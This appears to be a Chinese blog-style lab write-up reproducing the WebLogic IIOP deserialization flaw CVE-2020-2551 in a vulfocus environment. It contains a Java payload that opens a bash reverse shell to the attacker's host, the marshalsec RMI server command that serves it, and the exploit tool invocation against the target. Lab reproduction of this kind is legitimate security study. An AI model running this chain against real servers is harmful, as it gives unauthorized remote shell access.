漏洞简介
weblogic 反序列化 (CVE-2020-2551)漏洞是基于IIOP协议执行远程代码进行利用。
启动服务
http://192.168.5.128:10710/console/login/LoginForm.jsp
首先打开此连接,初始化weblogic服务。
准备工具
exp-自己写一个即可.
javac exp.java -source 1.6 -target 1.6
(此处指定编译的class文件的jdk版本。)
marshalsec-0.0.3-SNAPSHOT-all.jar
weblogic20202551.jar(该工具可以下载打包好的,也可以是自行打包,但需要指定weblogic的jdk与编译环境的jdk版本一致。否则会在使用时出现问题。)
weblogic20202551工具主要是用来iiop协议的调用。
首先marshalsec工具主要是利用rmi协议(可以直接在github上下载,也可以自己自行编译,下载后指定编译环境jdk1.8,然后使用mvn clean package -DskipTests,会在target目录下生成marshalsec.jar工具)。
在此期间,我尝试了使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,但并没有成功,后来发现这是由于jdk版本的问题,需要低版本的jdk生成exp。而JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具生成的最低的exp版本为jdk1.7。但我们需要的是jdk1.6的。
漏洞复现
生成exp
exp如下:
import java.io.IOException;
public class exp_jndi {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.5.129/4444 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
原本想着使用netcat反弹shell,后来发现vulfocus这个环境中的netcat版本可能是比较老的版本,-e参数无法使用😅
开启http服务
指定rmi服务开放端口,并设置rmi转发exp地址。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.129/#exp_jndi" 1099
开启nc等待
使用weblogic20202551.jar 工具,指定rmi地址。
java -jar weblogic20202551.jar 192.168.5.128 10710 rmi://192.168.5.129:1099/exp_jndi
getshell
参考链接
marshalsec下载链接: https://github.com/mbechler/marshalsec
marshalsec jar版本下载链接https://github.com/RandomRobbieBF/marshalsec-jar
weblogic cve-2020-2551工具jar下载地址:https://github.com/zzwlpx/weblogicPoc/releases/tag/1.0
Weblogic CVE-2020-2551漏洞复现&CS实战利用:https://cloud.tencent.com/developer/article/1768466
Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞复现:juejin.cn/post/7219237666486239293